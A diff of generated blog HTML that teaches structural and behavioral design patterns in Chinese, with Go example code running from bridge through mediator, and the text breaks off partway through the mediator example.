+}
+
+type Linux struct {
+   OS
+}
+
+func (l Linux) Play() {
+   fmt.Println("linux" + l.OS.videoFile.decode())
+}
+
+func TestBridge(t *testing.T) {
+   os := Windows{OS{videoFile: AVI{}}}
+   os.Play()
+}
+

桥接模式提高了系统的可扩充性,在两个变化维度中任意扩展一个维度,都不需要修改原有系统。

组合模式

又名部分整体模式,是用于把一组相似的对象当作一个单一的对象。组合模式依据树形结构来组合对象,用来表示部分以及整体层次。这种类型的设计模式属于结构型模式,它创建了对象组的树形结构。

  • 抽象根节点(Component):定义系统各层次对象的共有方法和属性,可以预先定义一些默认行为和属性。
  • 树枝节点(Composite):定义树枝节点的行为,存储子节点,组合树枝节点和叶子节点形成一个树形结构。
  • 叶子节点(Leaf):叶子节点对象,其下再无分支,是系统层次遍历的最小单位。

抽象根节点定义默认行为和属性,子类根据需求去选择实现和不实现哪些操作,虽然违背了接口隔离原则,但是在一定情况下非常适用。

// 抽象根节点
+type Component interface {
+   Add(Component)
+   Print()
+   Remove(int)
+}
+
+// 树枝节点
+type Composite struct {
+   leafs []Component
+}
+
+func (c *Composite) Add(component Component) {
+   c.leafs = append(c.leafs, component)
+}
+
+func (c *Composite) Print() {
+   for _, leaf := range c.leafs {
+      leaf.Print()
+   }
+}
+
+func (c *Composite) Remove(index int) {
+   c.leafs = append(c.leafs[:index], c.leafs[index+1:]...)
+}
+
+func NewComposite() Component {
+   return &Composite{make([]Component, 0, 0)}
+}
+
+// 叶子节点
+type Leaf struct {
+   name string
+}
+
+// 不支持的操作,无意义调用
+func (l Leaf) Add(component Component) {
+   panic("Unsupported")
+}
+
+func (l Leaf) Print() {
+   fmt.Println(l.name)
+}
+
+func (l Leaf) Remove(i int) {
+   panic("Unsupported")
+}
+
+func TestComposite(t *testing.T) {
+   composite := NewComposite()
+   composite.Add(Leaf{"A"})
+   composite.Add(Leaf{"B"})
+   composite.Add(Leaf{"C"})
+   composite.Add(Leaf{"D"})
+   newComposite := NewComposite()
+   newComposite.Add(Leaf{name: "E"})
+   composite.Add(newComposite)
+   composite.Print()
+}
+

组合模式分为透明组合模式和安全组合模式,区别在于,树枝节点与叶子节点在接口的表现上是否一致,前者是完全一致,但是需要额外的处理避免无意义的调用,而后者虽然避免了无意义的调用,但是对于客户端来说不够透明,叶子节点与树枝节点具有不同的方法,以至于不能很好的抽象。

享元模式

运用共享技术来有效地支持大量细粒度对象的复用。它通过共享已经存在的对象来大幅度减少需要创建的对象数量、避免大量相似对象的开销,从而提高系统资源的利用率。

享元(Flyweight )模式中存在以下两种状态:

1.内部状态,即不会随着环境的改变而改变的可共享部分。

2.外部状态,指随环境改变而改变的不可以共享的部分。享元模式的实现要领就是区分应用中的这两种状态,并将外部状态外部化。

  • 抽象享元角色(Flyweight):通常是一个接口或抽象类,在抽象享元类中声明了具体享元类公共的方法,这些方法可以向外界提供享元对象的内部数据(内部状态),同时也可以通过这些方法来设置外部数据(外部状态)。
  • 具体享元(Concrete Flyweight)角色 :它实现了抽象享元类,称为享元对象;在具体享元类中为内部状态提供了存储空间。通常我们可以结合单例模式来设计具体享元类,为每一个具体享元类提供唯一的享元对象。
  • 非享元(Unsharable Flyweight)角色 :并不是所有的抽象享元类的子类都需要被共享,不能被共享的子类可设计为非共享具体享元类;当需要一个非共享具体享元类的对象时可以直接通过实例化创建。
  • 享元工厂(Flyweight Factory)角色 :负责创建和管理享元角色。当客户对象请求一个享元对象时,享元工厂检査系统中是否存在符合要求的享元对象,如果存在则提供给客户;如果不存在的话,则创建一个新的享元对象。

众所周知的俄罗斯方块中的一个个方块,如果在俄罗斯方块这个游戏中,每个不同的方块都是一个实例对象,这些对象就要占用很多的内存空间,下面利用享元模式进行实现。

// 抽象盒子
+type AbstractBox interface {
+   Shape() string
+   Display(string)
+}
+
+// 具体盒子
+type Box struct {
+   shape string
+}
+
+func (b Box) Shape() string {
+   return b.shape
+}
+
+func (b Box) Display(color string) {
+   fmt.Println(b.shape + " " + color)
+}
+
+// 盒子工厂
+type BoxFactory struct {
+   maps map[string]AbstractBox
+}
+
+func NewBoxFactory() *BoxFactory {
+   return &BoxFactory{maps: map[string]AbstractBox{"I": Box{"I"}, "L": Box{"L"}, "O": Box{"O"}}}
+}
+
+func (f BoxFactory) Get(name string) AbstractBox {
+   _, ok := f.maps[name]
+   if !ok {
+      f.maps[name] = Box{name}
+   }
+   return f.maps[name]
+}
+
+func TestBox(t *testing.T) {
+   boxFactory := NewBoxFactory()
+   boxFactory.Get("I").Display("red")
+}
+

在使用享元模式时需要维护一个存储享元对象的享元池,而这需要耗费一定的系统资源,因此,应当在需要多次重复使用享元对象时才值得使用享元模式。

优点

极大减少内存中相似或相同对象数量,节约系统资源,提供系统性能,享元模式中的外部状态相对独立,且不影响内部状态

缺点

为了使对象可以共享,需要将享元对象的部分状态外部化,分离内部状态和外部状态,使程序逻辑复杂

上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/code/pattern/04.behavior.html b/posts/code/pattern/04.behavior.html new file mode 100644 index 0000000..cb866bf --- /dev/null +++ b/posts/code/pattern/04.behavior.html @@ -0,0 +1,965 @@ + + + + + + + + 行为型模式 | 寒江蓑笠翁 + + + + + + +

行为型模式

寒江蓑笠翁大约 36 分钟设计模式设计模式go

行为型模式

行为型模式用于描述程序在运行时复杂的流程控制,即描述多个类或对象之间怎样相互协作共同完成单个对象都无法单独完成的任务,它涉及算法与对象间职责的分配。行为型模式分为类行为模式和对象行为模式,前者采用继承机制来在类间分派行为,后者采用组合或聚合在对象间分配行为。由于组合关系或聚合关系比继承关系耦合度低,满足“合成复用原则”,所以对象行为模式比类行为模式具有更大的灵活性。

模板方法模式

定义一个操作中的算法骨架,而将算法的一些步骤延迟到子类中,使得子类可以不改变该算法结构的情况下重定义该算法的某些特定步骤。

  • 抽象类(Abstract Class):负责给出一个算法的轮廓和骨架。它由一个模板方法和若干个基本方法构成。

    • 模板方法:定义了算法的骨架,按某种顺序调用其包含的基本方法。
    • 基本方法:是实现算法各个步骤的方法,是模板方法的组成部分。
  • 具体子类(Concrete Class):实现抽象类中所定义的抽象方法和钩子方法,它们是一个顶级逻辑的组成步骤。

很典型的一个例子,go 标准库中排序sort包下 的Interface接口,其内部定义了三个基本方法和几个模板方法,倘若想要自定义数据结构排序,就必须要实现这三个方法,模板方法内会将基本方法的返回值当作排序的依据。

例:北方人都喜欢吃面,而煮面的步骤都是相同的,只是其中的细节和顺序不同,分为,烧水,下面,挑面,放调料。

type CookNoodles interface {
+   Water()
+   Noodles()
+   TakeNoodles()
+   Condiment()
+   Cook()
+}
+
+type template struct {
+   CookNoodles
+}
+
+func (t template) Cook() {
+   t.Water()
+   t.Noodles()
+   t.TakeNoodles()
+   t.Condiment()
+   fmt.Println("面煮完了")
+}
+
+type BeefNoodles struct {
+   *template
+}
+
+func (b BeefNoodles) Water() {
+   fmt.Println("烧水5分钟")
+}
+
+func (b BeefNoodles) Noodles() {
+   fmt.Println("加入刀削面")
+}
+
+func (b BeefNoodles) TakeNoodles() {
+   fmt.Println("用筷子挑面")
+}
+
+func (b BeefNoodles) Condiment() {
+   fmt.Println("加入牛肉和调料")
+}
+
+func NewCookNoodles() CookNoodles {
+   tem := template{}
+   noodles := BeefNoodles{template: &tem}
+   // 父类持有子类的引用
+   tem.CookNoodles = noodles
+   return noodles
+}
+
+func TestNoodles(t *testing.T) {
+   noodles := NewCookNoodles()
+   noodles.Cook()
+}
+

go语言是不提供继承机制的,这里是用匿名组合和手动让父类持有子类引用来模拟的,官方的解决办法是在sort包下,直接将模板方法作为了私有的函数,而不是成员方法,个人认为官方的解决办法会更好一些。

观察者模式

又被称为发布-订阅(Publish/Subscribe)模式,它定义了一种一对多的依赖关系,让多个观察者对象同时监听某一个主题对象。这个主题对象在状态变化时,会通知所有的观察者对象,使他们能够自动更新自己。

  • Subject:抽象主题(抽象被观察者),抽象主题角色把所有观察者对象保存在一个集合里,每个主题都可以有任意数量的观察者,抽象主题提供一个接口,可以增加和删除观察者对象。
  • ConcreteSubject:具体主题(具体被观察者),该角色将有关状态存入具体观察者对象,在具体主题的内部状态发生改变时,给所有注册过的观察者发送通知。
  • Observer:抽象观察者,是观察者的抽象类,它定义了一个更新接口,使得在得到主题更改通知时更新自己。
  • ConcrereObserver:具体观察者,实现抽象观察者定义的更新接口,以便在得到主题更改通知时更新自身的状态。

例:一个公众号有很多个订阅用户,公众号更新时会自动通知用户,用户收到通知便会做出相应的行为。

// 抽象主题
+type Subject interface {
+   Attach(Observer)
+   Detach(Observer)
+   Notify(string)
+}
+
+// 具体主题
+type WeiXinOffical struct {
+   observers []Observer
+}
+
+// 构造方法
+func NewWeiXinOffical() *WeiXinOffical {
+   return &WeiXinOffical{observers: make([]Observer, 0)}
+}
+
+func (w *WeiXinOffical) Attach(observer Observer) {
+   w.observers = append(w.observers, observer)
+}
+
+func (w *WeiXinOffical) Detach(observer Observer) {
+   for i, o := range w.observers {
+      if o == observer {
+         w.observers = append(w.observers[:i], w.observers[i+1:]...)
+      }
+   }
+}
+
+func (w *WeiXinOffical) Notify(s string) {
+   fmt.Println(s)
+   for _, observer := range w.observers {
+      observer.Update("公众号更新了")
+   }
+}
+
+// 抽象观察者
+type Observer interface {
+   Update(string)
+}
+
+// 具体观察者
+type WeiXinUser struct {
+}
+
+func (w WeiXinUser) Update(s string) {
+   fmt.Println("收到更新了,赶紧去点赞")
+}
+
+func TestObserver(t *testing.T) {
+   offical := NewWeiXinOffical()
+   offical.Attach(WeiXinUser{})
+   offical.Attach(WeiXinUser{})
+   offical.Attach(WeiXinUser{})
+   offical.Notify("震惊,Go语言将推出新泛型机制!")
+}
+

备忘录模式

又叫快照模式,在不破坏封装性的前提下,捕获一个对象的内部状态,并在该对象之外保存这个状态,以便以后当需要时能将该对象恢复到原先保存的状态。

  • 发起人(Originator)角色:记录当前时刻的内部状态信息,提供创建备忘录和恢复备忘录数据的功能,实现其他业务功能,它可以访问备忘录里的所有信息。
  • 备忘录(Memento)角色:负责存储发起人的内部状态,在需要的时候提供这些内部状态给发起人。
  • 管理者(Caretaker)角色:对备忘录进行管理,提供保存与获取备忘录的功能,但其不能对备忘录的内容进行访问与修改。

提示

备忘录有两个等效的接口:

窄接口:管理者(Caretaker)对象(和其他发起人对象之外的任何对象)看到的是备忘录的窄接口(narror Interface),这个窄接口只允许他把备忘录对象传给其他的对象。

宽接口:与管理者看到的窄接口相反,发起人对象可以看到一个宽接口(wide Interface),这个宽接口允许它读取所有的数据,以便根据这些数据恢复这个发起人对象的内部状态。

白箱模式

// 存档对象 白箱模式下存档对象是对外暴露的
+type GameMemento struct {
+	hp, ak, def int
+}
+
+// 玩家对象
+type GamePlayer struct {
+	*GameMemento
+}
+
+// 构造方法
+func NewGamePlayer() *GamePlayer {
+	return &GamePlayer{GameMemento: &GameMemento{
+		hp:  100,
+		ak:  100,
+		def: 100,
+	}}
+}
+
+func (g *GamePlayer) Fight() {
+	g.hp -= 1
+	g.ak -= 1
+	g.def -= 1
+}
+
+func (g *GamePlayer) Save() *GameMemento {
+	return &GameMemento{
+		hp:  g.hp,
+		ak:  g.ak,
+		def: g.def,
+	}
+}
+
+func (g *GamePlayer) Load(memento *GameMemento) {
+	g.hp = memento.hp
+	g.ak = memento.ak
+	g.def = memento.def
+}
+
+// 存档保存对象
+type MementoTaker struct {
+	memento *GameMemento
+}
+
+// 保存对象知道保存的是玩家的数据存档
+func (m *MementoTaker) Set(memento *GameMemento) {
+	m.memento = memento
+}
+
+func (m *MementoTaker) Get() *GameMemento {
+	return m.memento
+}
+
+func TestMemento(t *testing.T) {
+	player := NewGamePlayer()
+	taker := MementoTaker{}
+	// 战斗前先存档
+	taker.Set(player.Save())
+	// 战斗
+	player.Fight()
+	player.Load(taker.Get())
+}
+

黑箱模式

// 备忘录对象
+type Memento interface {
+}
+
+// 存档对象 黑箱模式 存档数据不对外公开
+type gameMemento struct {
+   hp, ak, def int
+}
+
+// 玩家对象
+type GamePlayer struct {
+   *gameMemento
+}
+
+// 构造方法
+func NewGamePlayer() *GamePlayer {
+   return &GamePlayer{gameMemento: &gameMemento{
+      hp:  100,
+      ak:  100,
+      def: 100,
+   }}
+}
+
+func (g *GamePlayer) Fight() {
+   g.hp -= 1
+   g.ak -= 1
+   g.def -= 1
+}
+
+func (g *GamePlayer) Save() Memento {
+   return gameMemento{
+      hp:  g.hp,
+      ak:  g.ak,
+      def: g.def,
+   }
+}
+
+func (g *GamePlayer) Load(memento gameMemento) {
+   g.hp = memento.hp
+   g.ak = memento.ak
+   g.def = memento.def
+}
+
+// 存档保存对象
+type MementoTaker struct {
+   memento Memento
+}
+
+// 只知道是一个备忘录对象,不知道保存的是个什么东西,仅仅只负责存储
+func (m *MementoTaker) Set(memento Memento) {
+   m.memento = memento
+}
+
+func (m *MementoTaker) Get() Memento {
+   return m.memento
+}
+
+func TestMemento(t *testing.T) {
+   player := NewGamePlayer()
+   taker := MementoTaker{}
+   // 战斗前先存档
+   taker.Set(player.Save())
+   // 战斗
+   player.Fight()
+   player.Load(taker.Get().(gameMemento))
+}
+

优点

提供了一种可以恢复状态的机制。当用户需要时能够比较方便地将数据恢复到某个历史的状态。实现了内部状态的封装。除了创建它的发起人之外,其他对象都不能够访问这些状态信息。简化了发起人类。发起人不需要管理和保存其内部状态的各个备份,所有状态信息都保存在备忘录 中,并由管理者进行管理,这符合单一职责原则。

缺点

资源消耗大。如果要保存的内部状态信息过多或者特别频繁,将会占用比较大的内存资源。

责任链模式

又名职责链模式,为了避免请求发送者与多个请求处理者耦合在一起,将所有请求的处理者通过前一对象记住其下一个对象的引用而连成一条链;当有请求发生时,可将请求沿着这条链传递,直到有对象处理它为止。

  • 抽象处理者(Handler)角色:定义一个处理请求的接口,包含抽象处理方法和一个后继连接。
  • 具体处理者(Concrete Handler)角色:实现抽象处理者的处理方法,判断能否处理本次请求,如果可以处理请求则处理,否则将该请求转给它的后继者。
  • 客户类(Client)角色:创建处理链,并向链头的具体处理者对象提交请求,它不关心处理细节和请求的传递过程。

提示

Gin框架内的中间件就是责任链模式的一个应用。

例子:现需要开发一个请假流程控制系统。请假一天以下的假只需要小组长同意即可;请假1天到3天的假还需要部门经理同意;请求3天到7天还需要总经理同意才行。

// 处理者
+type Handler interface {
+   Handle(Handlee) bool
+}
+
+// 小组长
+type GroupManager struct {
+}
+
+func (g GroupManager) Handle(handlee Handlee) bool {
+   if handlee.Info() <= 1 {
+      return true
+   }
+   return false
+}
+
+// 部门经理
+type Manager struct {
+}
+
+func (m Manager) Handle(handlee Handlee) bool {
+   if handlee.Info() <= 3 {
+      return true
+   }
+   return false
+}
+
+type GeneralManager struct {
+}
+
+func (g GeneralManager) Handle(handlee Handlee) bool {
+   if handlee.Info() <= 7 {
+      return true
+   }
+   return false
+}
+
+// 被处理者不一定要是接口,具体的类也可以,被处理者的设计可以很灵活
+type Handlee interface {
+   Info() int
+}
+
+// 请假条
+type LeaveReq struct {
+   days int
+}
+
+func (l LeaveReq) Info() int {
+   return l.days
+}
+
+// 调用链
+type HanlderChain struct {
+   chain []Handler
+}
+
+func NewHanlderChain() *HanlderChain {
+   return &HanlderChain{chain: make([]Handler, 0)}
+}
+
+// 将调用链里的处理器一个个调用
+func (h *HanlderChain) Next(handlee Handlee) bool {
+   for _, handler := range h.chain {
+      if handler.Handle(handlee) {
+         return true
+      }
+   }
+   return false
+}
+
+// 添加处理器,删除也可以有,这类省略了
+func (h *HanlderChain) addHandler(handler Handler) {
+   h.chain = append(h.chain, handler)
+}
+
+func TestResponse(t *testing.T) {
+   handlerChain := NewHanlderChain()
+   handlerChain.addHandler(GroupManager{})
+   handlerChain.addHandler(Manager{})
+   handlerChain.addHandler(GeneralManager{})
+   fmt.Println(handlerChain.Next(LeaveReq{3}))
+}
+

其实代码也还可以再简化,本质上调用链传的只是一个个方法,可以不需要Handler接口,将其换为类型为Func(Handlee) bool的类型会更好一些。

优点

降低了对象之间的耦合度该模式降低了请求发送者和接收者的耦合度。

增强了系统的可扩展性可以根据需要增加新的请求处理类,满足开闭原则。

增强了给对象指派职责的灵活性当工作流程发生变化,可以动态地改变链内的成员或者修改它们的次序,也可动态地新增或者删除责任。

责任链简化了对象之间的连接

缺点

不能保证每个请求一定被处理。由于一个请求没有明确的接收者,所以不能保证它一定会被处理, 该请求可能一直传到链的末端都得不到处理。 对比较长的职责链,请求的处理可能涉及多个处理对象,系统性能将受到一定影响。

策略模式

该模式定义了一系列算法,并将每个算法封装起来,使它们可以相互替换,且算法的变化不会影响使用 算法的客户。策略模式属于对象行为模式,它通过对算法进行封装,把使用算法的责任和算法的实现分 割开来,并委派给不同的对象对这些算法进行管理。

  • 抽象策略(Strategy)类:这是一个抽象角色,通常由一个接口实现。此角色给出所有 的具体策略类所需的接口。
  • 具体策略(Concrete Strategy)类:实现了抽象策略定义的接口,提供具体的算法实现或行为。
  • 环境(Context)类:持有一个策略类的引用,最终给客户端调用。

一个商店同时支持微信支付和支付宝支付,只要传入对应的支付方式就可以支付。

// 抽象策略类
+type Strategy interface {
+   pay(int) string
+}
+
+// 具体策略类
+type WeiXinPay struct {
+}
+
+func (w WeiXinPay) pay(i int) string {
+   return fmt.Sprintf("微信支付: %d 元", i)
+}
+
+// 具体策略类
+type AliPay struct {
+}
+
+func (a AliPay) pay(i int) string {
+   return fmt.Sprintf("支付宝支付: %d 元", i)
+}
+
+// 环境上下文类,持有策略的引用
+type Shop struct {
+   strategy Strategy
+}
+
+func (s *Shop) SetStrategy(strategy Strategy) {
+   s.strategy = strategy
+}
+
+func (s *Shop) Show(num int) {
+   fmt.Println(s.strategy.pay(num))
+}
+
+func TestStrategy(t *testing.T) {
+   shop := Shop{}
+   shop.SetStrategy(WeiXinPay{})
+   shop.Show(10)
+   shop.SetStrategy(AliPay{})
+   shop.Show(20)
+}
+
  • 策略类之间可以自由切换,由于策略类都实现同一个接口,所以使它们之间可以自由切换。
  • 易于扩展,增加一个新的策略只需要添加一个具体的策略类即可,基本不需要改变原有的代码,符合“开闭原则“
  • 避免使用多重条件选择语句(if else),充分体现面向对象设计思想。

命令模式

将一个请求封装为一个对象,使发出请求的责任和执行请求的责任分割开。这样两者之间通过命令对象 进行沟通,这样方便将命令对象进行存储、传递、调用、增加与管理。

  • 抽象命令类(Command)角色: 定义命令的接口,声明执行的方法。
  • 具体命令(Concrete Command)角色:具体的命令,实现命令接口;通常会持有接收者,并调用接收者的功能来完成命令要执行的操作。
  • 实现者/接收者(Receiver)角色: 接收者,真正执行命令的对象。任何类都可能成为一个接收者,只要它能够实现命令要求实现的相应功能。
  • 调用者/请求者(Invoker)角色: 要求命令对象执行请求,通常会持有命令对象,可以持有很多的命令对象。这个是客户端真正触发命令并要求命令执行相应操作的地方,也就是说相当于使用 命令对象的入口。
// 抽象命令
+type Command interface {
+    Execute()
+}
+
+// 具体命令
+type StartCommand struct {
+    mb *MotherBoard
+}
+
+func NewStartCommand(mb *MotherBoard) *StartCommand {
+    return &StartCommand{
+        mb: mb,
+    }
+}
+
+func (c *StartCommand) Execute() {
+    c.mb.Start()
+}
+
+// 具体命令
+type RebootCommand struct {
+    mb *MotherBoard
+}
+
+func NewRebootCommand(mb *MotherBoard) *RebootCommand {
+    return &RebootCommand{
+        mb: mb,
+    }
+}
+
+func (c *RebootCommand) Execute() {
+    c.mb.Reboot()
+}
+
+type MotherBoard struct{}
+
+func (*MotherBoard) Start() {
+    fmt.Print("system starting\n")
+}
+
+func (*MotherBoard) Reboot() {
+    fmt.Print("system rebooting\n")
+}
+
+// 调用者
+type Box struct {
+    button1 Command
+    button2 Command
+}
+
+func NewBox(button1, button2 Command) *Box {
+    return &Box{
+        button1: button1,
+        button2: button2,
+    }
+}
+
+func (b *Box) PressButton1() {
+    b.button1.Execute()
+}
+
+func (b *Box) PressButton2() {
+    b.button2.Execute()
+}
+
+func ExampleCommand() {
+    mb := &MotherBoard{}
+    startCommand := NewStartCommand(mb)
+    rebootCommand := NewRebootCommand(mb)
+
+    box1 := NewBox(startCommand, rebootCommand)
+    box1.PressButton1()
+    box1.PressButton2()
+
+    box2 := NewBox(rebootCommand, startCommand)
+    box2.PressButton1()
+    box2.PressButton2()
+    // Output:
+    // system starting
+    // system rebooting
+    // system rebooting
+    // system starting
+}
+

迭代器模式

提供一个对象来顺序访问聚合对象中的一系列数据,而不暴露聚合对象的内部表示

  • 抽象聚合(Aggregate)角色:定义存储、添加、删除聚合元素以及创建迭代器对象的接口。
  • 具体聚合(ConcreteAggregate)角色:实现抽象聚合类,返回一个具体迭代器的实例。
  • 抽象迭代器(Iterator)角色:定义访问和遍历聚合元素的接口,通常包含 hasNext()、 next() 等方法。
  • 具体迭代器(Concretelterator)角色:实现抽象迭代器接口中所定义的方法,完成对聚合对 象的遍历,记录遍历的当前位置。
// 抽象聚合对象
+type Aggregate interface {
+    Iterator() Iterator
+}
+
+// 抽象迭代器
+type Iterator interface {
+    First()
+    IsDone() bool
+    Next() interface{}
+}
+
+// 具体聚合对象
+type Numbers struct {
+    start, end int
+}
+
+func NewNumbers(start, end int) *Numbers {
+    return &Numbers{
+        start: start,
+        end:   end,
+    }
+}
+
+func (n *Numbers) Iterator() Iterator {
+    return &NumbersIterator{
+        numbers: n,
+        next:    n.start,
+    }
+}
+
+// 具体迭代器
+type NumbersIterator struct {
+    numbers *Numbers
+    next    int
+}
+
+func (i *NumbersIterator) First() {
+    i.next = i.numbers.start
+}
+
+func (i *NumbersIterator) IsDone() bool {
+    return i.next > i.numbers.end
+}
+
+func (i *NumbersIterator) Next() interface{} {
+    if !i.IsDone() {
+        next := i.next
+        i.next++
+        return next
+    }
+    return nil
+}
+
+func IteratorPrint(i Iterator) {
+    for i.First(); !i.IsDone(); {
+        c := i.Next()
+        fmt.Printf("%#v\n", c)
+    }
+}
+
+func ExampleIterator() {
+    var aggregate Aggregate
+    aggregate = NewNumbers(1, 10)
+
+    IteratorPrint(aggregate.Iterator())
+    // Output:
+    // 1
+    // 2
+    // 3
+    // 4
+    // 5
+    // 6
+    // 7
+    // 8
+    // 9
+    // 10
+}
+

状态模式

对有状态的对象,把复杂的“判断逻辑”提取到不同的状态对象中,允许状态对象在其内部状态发生改变 时改变其行为。

  • 环境(Context)角色:也称为上下文,它定义了客户程序需要的接口,维护一个当前状态,并将与状态相关的操作委托给当前状态对象来处理。
  • 抽象状态(State)角色:定义一个接口,用以封装环境对象中的特定状态所对应的行为。
  • 具体状态(Concrete State)角色:实现抽象状态所对应的行为。
type Week interface {
+    Today()
+    Next(*DayContext)
+}
+
+type DayContext struct {
+    today Week
+}
+
+func NewDayContext() *DayContext {
+    return &DayContext{
+        today: &Sunday{},
+    }
+}
+
+func (d *DayContext) Today() {
+    d.today.Today()
+}
+
+func (d *DayContext) Next() {
+    d.today.Next(d)
+}
+
+type Sunday struct{}
+
+func (*Sunday) Today() {
+    fmt.Printf("Sunday\n")
+}
+
+func (*Sunday) Next(ctx *DayContext) {
+    ctx.today = &Monday{}
+}
+
+type Monday struct{}
+
+func (*Monday) Today() {
+    fmt.Printf("Monday\n")
+}
+
+func (*Monday) Next(ctx *DayContext) {
+    ctx.today = &Tuesday{}
+}
+
+type Tuesday struct{}
+
+func (*Tuesday) Today() {
+    fmt.Printf("Tuesday\n")
+}
+
+func (*Tuesday) Next(ctx *DayContext) {
+    ctx.today = &Wednesday{}
+}
+
+type Wednesday struct{}
+
+func (*Wednesday) Today() {
+    fmt.Printf("Wednesday\n")
+}
+
+func (*Wednesday) Next(ctx *DayContext) {
+    ctx.today = &Thursday{}
+}
+
+type Thursday struct{}
+
+func (*Thursday) Today() {
+    fmt.Printf("Thursday\n")
+}
+
+func (*Thursday) Next(ctx *DayContext) {
+    ctx.today = &Friday{}
+}
+
+type Friday struct{}
+
+func (*Friday) Today() {
+    fmt.Printf("Friday\n")
+}
+
+func (*Friday) Next(ctx *DayContext) {
+    ctx.today = &Saturday{}
+}
+
+type Saturday struct{}
+
+func (*Saturday) Today() {
+    fmt.Printf("Saturday\n")
+}
+
+func (*Saturday) Next(ctx *DayContext) {
+    ctx.today = &Sunday{}
+}
+
+func ExampleWeek() {
+    ctx := NewDayContext()
+    todayAndNext := func() {
+        ctx.Today()
+        ctx.Next()
+    }
+
+    for i := 0; i < 8; i++ {
+        todayAndNext()
+    }
+    // Output:
+    // Sunday
+    // Monday
+    // Tuesday
+    // Wednesday
+    // Thursday
+    // Friday
+    // Saturday
+    // Sunday
+}
+

解释器模式

解释器模式定义一套语言文法,并设计该语言解释器,使用户能使用特定文法控制解释器行为。解释器模式的意义在于,它分离多种复杂功能的实现,每个功能只需关注自身的解释。对于调用者不用关心内部的解释器的工作,只需要用简单的方式组合命令就可以。

type Node interface {
+    Interpret() int
+}
+
+type ValNode struct {
+    val int
+}
+
+func (n *ValNode) Interpret() int {
+    return n.val
+}
+
+type AddNode struct {
+    left, right Node
+}
+
+func (n *AddNode) Interpret() int {
+    return n.left.Interpret() + n.right.Interpret()
+}
+
+type MinNode struct {
+    left, right Node
+}
+
+func (n *MinNode) Interpret() int {
+    return n.left.Interpret() - n.right.Interpret()
+}
+
+type Parser struct {
+    exp   []string
+    index int
+    prev  Node
+}
+
+func (p *Parser) Parse(exp string) {
+    p.exp = strings.Split(exp, " ")
+
+    for {
+        if p.index >= len(p.exp) {
+            return
+        }
+        switch p.exp[p.index] {
+        case "+":
+            p.prev = p.newAddNode()
+        case "-":
+            p.prev = p.newMinNode()
+        default:
+            p.prev = p.newValNode()
+        }
+    }
+}
+
+func (p *Parser) newAddNode() Node {
+    p.index++
+    return &AddNode{
+        left:  p.prev,
+        right: p.newValNode(),
+    }
+}
+
+func (p *Parser) newMinNode() Node {
+    p.index++
+    return &MinNode{
+        left:  p.prev,
+        right: p.newValNode(),
+    }
+}
+
+func (p *Parser) newValNode() Node {
+    v, _ := strconv.Atoi(p.exp[p.index])
+    p.index++
+    return &ValNode{
+        val: v,
+    }
+}
+
+func (p *Parser) Result() Node {
+    return p.prev
+}
+
func TestInterpreter(t *testing.T) {
+    p := &Parser{}
+    p.Parse("1 + 2 + 3 - 4 + 5 - 6")
+    res := p.Result().Interpret()
+    expect := 1
+    if res != expect {
+        t.Fatalf("expect %d got %d", expect, res)
+    }
+}
+

访问者模式

封装一些作用于某种数据结构中的各元素的操作,它可以在不改变这个数据结构的前提下定义作用于这些元素的新的操作。


+// 抽象元素
+type Customer interface {
+    Accept(Visitor)
+}
+
+// 抽象访问者
+type Visitor interface {
+    Visit(Customer)
+}
+
+type EnterpriseCustomer struct {
+    name string
+}
+
+type CustomerCol struct {
+    customers []Customer
+}
+
+func (c *CustomerCol) Add(customer Customer) {
+    c.customers = append(c.customers, customer)
+}
+
+func (c *CustomerCol) Accept(visitor Visitor) {
+    for _, customer := range c.customers {
+        customer.Accept(visitor)
+    }
+}
+
+func NewEnterpriseCustomer(name string) *EnterpriseCustomer {
+    return &EnterpriseCustomer{
+        name: name,
+    }
+}
+
+func (c *EnterpriseCustomer) Accept(visitor Visitor) {
+    visitor.Visit(c)
+}
+
+type IndividualCustomer struct {
+    name string
+}
+
+func NewIndividualCustomer(name string) *IndividualCustomer {
+    return &IndividualCustomer{
+        name: name,
+    }
+}
+
+func (c *IndividualCustomer) Accept(visitor Visitor) {
+    visitor.Visit(c)
+}
+
+type ServiceRequestVisitor struct{}
+
+func (*ServiceRequestVisitor) Visit(customer Customer) {
+    switch c := customer.(type) {
+    case *EnterpriseCustomer:
+        fmt.Printf("serving enterprise customer %s\n", c.name)
+    case *IndividualCustomer:
+        fmt.Printf("serving individual customer %s\n", c.name)
+    }
+}
+
+// only for enterprise
+type AnalysisVisitor struct{}
+
+func (*AnalysisVisitor) Visit(customer Customer) {
+    switch c := customer.(type) {
+    case *EnterpriseCustomer:
+        fmt.Printf("analysis enterprise customer %s\n", c.name)
+    }
+}
+
func ExampleRequestVisitor() {
+    c := &CustomerCol{}
+    c.Add(NewEnterpriseCustomer("A company"))
+    c.Add(NewEnterpriseCustomer("B company"))
+    c.Add(NewIndividualCustomer("bob"))
+    c.Accept(&ServiceRequestVisitor{})
+    // Output:
+    // serving enterprise customer A company
+    // serving enterprise customer B company
+    // serving individual customer bob
+}
+
+func ExampleAnalysis() {
+    c := &CustomerCol{}
+    c.Add(NewEnterpriseCustomer("A company"))
+    c.Add(NewIndividualCustomer("bob"))
+    c.Add(NewEnterpriseCustomer("B company"))
+    c.Accept(&AnalysisVisitor{})
+    // Output:
+    // analysis enterprise customer A company
+    // analysis enterprise customer B company
+}
+

中介者模式

又叫调停模式,定义一个中介角色来封装一系列对象之间的交互,使原有对象之间的耦合松散,且可以 独立地改变它们之间的交互。

  • 抽象中介者(Mediator)角色:它是中介者的接口,提供了同事对象注册与转发同事对象信息的抽象方法。
  • 具体中介者(ConcreteMediator)角色:实现中介者接口,定义一个 List 来管理同事对 象,协调各个同事角色之间的交互关系,因此它依赖于同事角色。
  • 抽象同事类(Colleague)角色:定义同事类的接口,保存中介者对象,提供同事对象交互的抽 象方法,实现所有相互影响的同事类的公共功能。
  • 具体同事类(Concrete Colleague)角色:是抽象同事类的实现者,当需要与其他同事对象交 互时,由中介者对象负责后续的交互。
type CDDriver struct {
+    Data string
+}
+
+func (c *CDDriver) ReadData() {
+    c.Data = "music,image"
+
+    fmt.Printf("CDDriver: reading data %s\n", c.Data)
+    GetMediatorInstance().changed(c)
+}
+
+type CPU struct {
+    Video string
+    Sound string
+}
+
+func (c *CPU) Process(data string) {
+    sp := strings.Split(data, ",")
+    c.Sound = sp[0]
+    c.Video = sp[1]
+
+    fmt.Printf("CPU: split data with Sound %s, Video %s\n", c.Sound, c.Video)
+    GetMediatorInstance().changed(c)
+}
+
+type VideoCard struct {
+    Data string
+}
+
